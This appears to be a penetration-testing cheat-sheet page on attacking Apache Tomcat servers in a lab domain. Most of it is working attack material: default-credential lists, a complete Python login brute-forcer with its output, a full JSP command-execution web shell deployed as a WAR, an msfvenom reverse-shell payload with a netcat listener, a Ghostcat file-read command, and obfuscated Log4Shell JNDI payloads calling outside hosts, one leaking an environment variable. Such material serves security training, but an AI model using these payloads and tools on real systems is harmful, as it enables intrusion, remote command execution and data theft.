Tomcat (8080)

Discovery

http://app-dev.inlanefreight.local:8080/invalid

$ curl -s http://app-dev.inlanefreight.local:8080/docs/ | grep Tomcat 

<html lang="en"><head><META http-equiv="Content-Type" content="text/html; charset=UTF-8"><link href="./images/docs-stylesheet.css" rel="stylesheet" type="text/css"><title>Apache Tomcat 9 (9.0.30) - Documentation Index</title><meta name="author" 

<SNIP>

Interesting Files

WEB-INF/web.xml

tomcat-users.xml

 <SNIP>
  
!-- user manager can access only manager section -->
<role rolename="manager-gui" />
<user username="tomcat" password="tomcat" roles="manager-gui" />

<!-- user admin can access manager and admin section both -->
<role rolename="admin-gui" />
<user username="admin" password="admin" roles="manager-gui,admin-gui" />


</tomcat-users>

Enumeration

gobuster dir -u http://web01.inlanefreight.local:8180/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt

ROOT
add
admin
admin-console
balancer
dav
deploy
docs
examples
examples/jsp/index.html
examples/jsp/snp/snoop.jsp
examples/jsp/source.jsp
examples/servlet/HelloWorldExample
examples/servlet/SnoopServlet
examples/servlet/TroubleShooter
examples/servlet/default/jsp/snp/snoop.jsp
examples/servlet/default/jsp/source.jsp
examples/servlet/org.apache.catalina.INVOKER.HelloWorldExample
examples/servlet/org.apache.catalina.INVOKER.SnoopServlet
examples/servlet/org.apache.catalina.INVOKER.TroubleShooter
examples/servlet/org.apache.catalina.servlets.DefaultServlet/jsp/snp/snoop.jsp
examples/servlet/org.apache.catalina.servlets.DefaultServlet/jsp/source.jsp
examples/servlet/org.apache.catalina.servlets.WebdavServlet/jsp/snp/snoop.jsp
examples/servlet/org.apache.catalina.servlets.WebdavServlet/jsp/source.jsp
examples/servlet/snoop
examples/servlets/index.html
examples/websocket/index.xhtml
host-manager
host-manager/add
host-manager/host-manager.xml
host-manager/html
host-manager/html/*
host-manager/list
host-manager/remove
host-manager/start
host-manager/stop
html/*
install
invoker/JMXInvokerServlet
j4p
jmx-console
jmx-console/HtmlAdaptor
jmxproxy/*
jsp-examples
list
manager
manager/deploy
manager/html
manager/html/*
manager/install
manager/jmxproxy
manager/jmxproxy/*
manager/list
manager/manager.xml
manager/reload
manager/remove
manager/resources
manager/roles
manager/save
manager/serverinfo
manager/sessions
manager/start
manager/status.xsd
manager/status/*
manager/stop
manager/undeploy
reload
remove
resources
roles
save
server-manager/html
serverinfo
servlet/default/
servlet/org.apache.catalina.INVOKER.org.apache.catalina.servlets.DefaultServlet/tomcat.gif
servlet/org.apache.catalina.INVOKER.org.apache.catalina.servlets.SnoopAllServlet
servlet/org.apache.catalina.INVOKER.org.apache.catalina.servlets.WebdavServlet/
servlet/org.apache.catalina.servlets.DefaultServlet/
servlet/org.apache.catalina.servlets.DefaultServlet/tomcat.gif
servlet/org.apache.catalina.servlets.HTMLManagerServlet
servlet/org.apache.catalina.servlets.InvokerServlet/org.apache.catalina.servlets.DefaultServlet/tomcat.gif
servlet/org.apache.catalina.servlets.InvokerServlet/org.apache.catalina.servlets.SnoopAllServlet
servlet/org.apache.catalina.servlets.ManagerServlet
servlet/org.apache.catalina.servlets.SnoopAllServlet
servlet/org.apache.catalina.servlets.WebdavServlet/
servlets-examples
sessions
start
status
status/*
stop
tomcat-docs
tomcat/manager/html
undeploy
web-console
web-console/Invoker
webdav
webdav/index.html
webdav/servlet/org.apache.catalina.servlets.WebdavServlet/
webdav/servlet/webdav/

Wordlists

Password

tomcat::Tomcatadm

osboxes@osboxes:~$ creds search tomcat
+----------------------------------+------------+------------+
| Product                          |  username  |  password  |
+----------------------------------+------------+------------+
| apache tomcat host manager (web) |   admin    |   admin    |
| apache tomcat host manager (web) |   ADMIN    |   ADMIN    |
| apache tomcat host manager (web) |   admin    |  <blank>   |
| apache tomcat host manager (web) |   admin    |   j5Brn9   |
| apache tomcat host manager (web) |   admin    |   tomcat   |
| apache tomcat host manager (web) |   cxsdk    |   kdsxc    |
| apache tomcat host manager (web) | j2deployer | j2deployer |
| apache tomcat host manager (web) |  ovwebusr  | OvW*busr1  |
| apache tomcat host manager (web) |    QCC     |  QLogic66  |
| apache tomcat host manager (web) |   role1    |   role1    |
| apache tomcat host manager (web) |   role1    |   tomcat   |
| apache tomcat host manager (web) |    role    | changethis |
| apache tomcat host manager (web) |    root    |    root    |
| apache tomcat host manager (web) |   tomcat   | changethis |
| apache tomcat host manager (web) |   tomcat   |   s3cret   |
| apache tomcat host manager (web) |   tomcat   |   tomcat   |
| apache tomcat host manager (web) |   xampp    |   xampp    |
+----------------------------------+------------+------------

cat /opt/tools/metasploit-framework/data/wordlists/tomcat_mgr_default_userpass.txt 

j2deployer j2deployer
ovwebusr OvW*busr1
cxsdk kdsxc
root owaspbwa
ADMIN ADMIN
xampp xampp
tomcat s3cret
QCC QLogic66
admin vagrant
admin password
admin 
admin Password1
admin password1
admin admin
admin tomcat
both tomcat
manager manager
role1 role1
role1 tomcat
role changethis
root Password1
root changethis
root password
root password1
root r00t
root root
root toor
tomcat tomcat
tomcat password1
tomcat password
tomcat 
tomcat admin
tomcat changethis

msf6 auxiliary(scanner/http/tomcat_mgr_login) > set VHOST web01.inlanefreight.local
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RPORT 8180
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set stop_on_success true
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set rhosts 10.129.201.58

mgr_brute.py

#!/usr/bin/python

import requests
from termcolor import cprint
import argparse

parser = argparse.ArgumentParser(description = "Tomcat manager or host-manager credential bruteforcing")

parser.add_argument("-U", "--url", type = str, required = True, help = "URL to tomcat page")
parser.add_argument("-P", "--path", type = str, required = True, help = "manager or host-manager URI")
parser.add_argument("-u", "--usernames", type = str, required = True, help = "Users File")
parser.add_argument("-p", "--passwords", type = str, required = True, help = "Passwords Files")

args = parser.parse_args()

url = args.url
uri = args.path
users_file = args.usernames
passwords_file = args.passwords

new_url = url + uri
f_users = open(users_file, "rb")
f_pass = open(passwords_file, "rb")
usernames = [x.strip() for x in f_users]
passwords = [x.strip() for x in f_pass]

cprint("\n[+] Atacking.....", "red", attrs = ['bold'])

for u in usernames:
    for p in passwords:
        r = requests.get(new_url,auth = (u, p))

        if r.status_code == 200:
            cprint("\n[+] Success!!", "green", attrs = ['bold'])
            cprint("[+] Username : {}\n[+] Password : {}".format(u,p), "green", attrs = ['bold'])
            break
    if r.status_code == 200:
        break

if r.status_code != 200:
    cprint("\n[+] Failed!!", "red", attrs = ['bold'])
    cprint("[+] Could not Find the creds :( ", "red", attrs = ['bold'])
#print r.status_code

$ python3 mgr_brute.py -U http://web01.inlanefreight.local:8180/ -P /manager -u /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_users.txt -p /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_pass.txt

[+] Atacking.....

[+] Success!!
[+] Username : b'tomcat'
[+] Password : b'admin'

Tomcat Manager - WAR File Upload

Manually

jsp shell: https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp

<%@ page import="java.util.*,java.io.*"%>
<%
//
// JSP_KIT
//
// cmd.jsp = Command Execution (unix)
//
// by: Unknown
// modified: 27/06/2003
//
%>
<HTML><BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
        out.println("Command: " + request.getParameter("cmd") + "<BR>");
        Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
                out.println(disr); 
                disr = dis.readLine(); 
                }
        }
%>
</pre>
</BODY></HTML>

$ wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
$ zip -r backup.war cmd.jsp 

  adding: cmd.jsp (deflated 81%)

Browse to select the .war file and then click on Deploy.

$ curl http://web01.inlanefreight.local:8180/backup/cmd.jsp?cmd=id

<HTML><BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
Command: id<BR>
uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)

</pre>
</BODY></HTML>

Msfvenom

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.15 LPORT=4443 -f war > backup.war

nc -lnvp 4443

listening on [any] 4443 ...
connect to [10.10.14.15] from (UNKNOWN) [10.129.201.58] 45224


id

uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)

Metasploit

multi/http/tomcat_mgr_upload

Exploitation

CVE-2024-50379 - RCE

Time-of-Check Time-of-Use (TOCTOU) race condition that can lead to remote code execution (RCE) if the server's configuration allows writable directories.

Upload a JSP shell to a vulnerable server and execute commands remotely.

CVE-2024-52316 - Authentification Bypass

Version Series

Affected Versions

Apache Tomcat 11.0

Versions prior to 11.0.0

Apache Tomcat 10.1

Versions prior to 10.1.31

Apache Tomcat 9.0

Versions prior to 9.0.96

CVE-2024-40725 and CVE-2024-40898 - SSRF

Apache HTTP Server versions 2.4.0 through 2.4.61

CVE-2024-52318 - XSS

Apache Tomcat 11.0 Versions prior to 11.0.1 Apache Tomcat 10.1 Versions prior to 10.1.33 Apache Tomcat 9.0 Versions prior to 9.0.97

CVE-2024-52317 - Data Leakage

Apache Tomcat 11.0 Versions prior to 11.0.0 Apache Tomcat 10.1 Versions prior to 10.1.31 Apache Tomcat 9.0 Versions prior to 9.0.96

Ghostcat

nmap -sV -p 8009,8080 app-dev.inlanefreight.local

Starting Nmap 7.80 ( https://nmap.org ) at 2021-09-21 20:05 EDT
Nmap scan report for app-dev.inlanefreight.local (10.129.201.58)
Host is up (0.14s latency).

PORT     STATE SERVICE VERSION
8009/tcp open  ajp13   Apache Jserv (Protocol v1.3)
8080/tcp open  http    Apache Tomcat 9.0.30

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.36 seconds

The exploit can only read files and folders within the web apps folder, which means that files like /etc/passwd can’t be accessed.

python2.7 tomcat-ajp.lfi.py app-dev.inlanefreight.local -p 8009 -f WEB-INF/web.xml

python3 exploit:

Log4Shell

${jndi:ldap://xxxxx.burpcollaborator.net/a}

${j${k8s:k5:-ND}i${sd:k5:-:}ldap://mydogsbutt.com:1389/o} - AWS Firewall Bypass
${jndi:ldap://${env:user}.xyz.collab.com/a} - Default Payload

# ":-" notation
${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://somesitehackerofhell.com/z}

# Unicode characters
${\u006a\u006e\u0064\u0069:ldap://somesitehackerofhell.com/z}

# "::-" notation
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://somesitehackerofhell.com/z}

Spring4Shell

Tomcat CGI

Tools

Resources

PreviousFlask / Werkzeug NextTomcat CGI

Last updated 3 days ago

Was this helpful?

Discovery

Interesting Files

Enumeration

Wordlists

Password

Tomcat Manager - Login Brute Force

Tomcat Manager - WAR File Upload

Manually

Msfvenom

Metasploit

Exploitation

CVE-2024-50379 - RCE

CVE-2024-52316 - Authentification Bypass

CVE-2024-40725 and CVE-2024-40898 - SSRF

CVE-2024-52318 - XSS

CVE-2024-52317 - Data Leakage

Ghostcat

Log4Shell

Spring4Shell

Tomcat CGI

Tools

Resources

Discovery

Interesting Files

Enumeration

Wordlists

Password

Tomcat Manager - Login Brute Force

Tomcat Manager - WAR File Upload

Manually

Msfvenom

Metasploit

Exploitation

CVE-2024-50379 - RCE

CVE-2024-52316 - Authentification Bypass

CVE-2024-40725 and CVE-2024-40898 - SSRF

CVE-2024-52318 - XSS

CVE-2024-52317 - Data Leakage

Ghostcat

Log4Shell

Spring4Shell

Tomcat CGI

Tools

Resources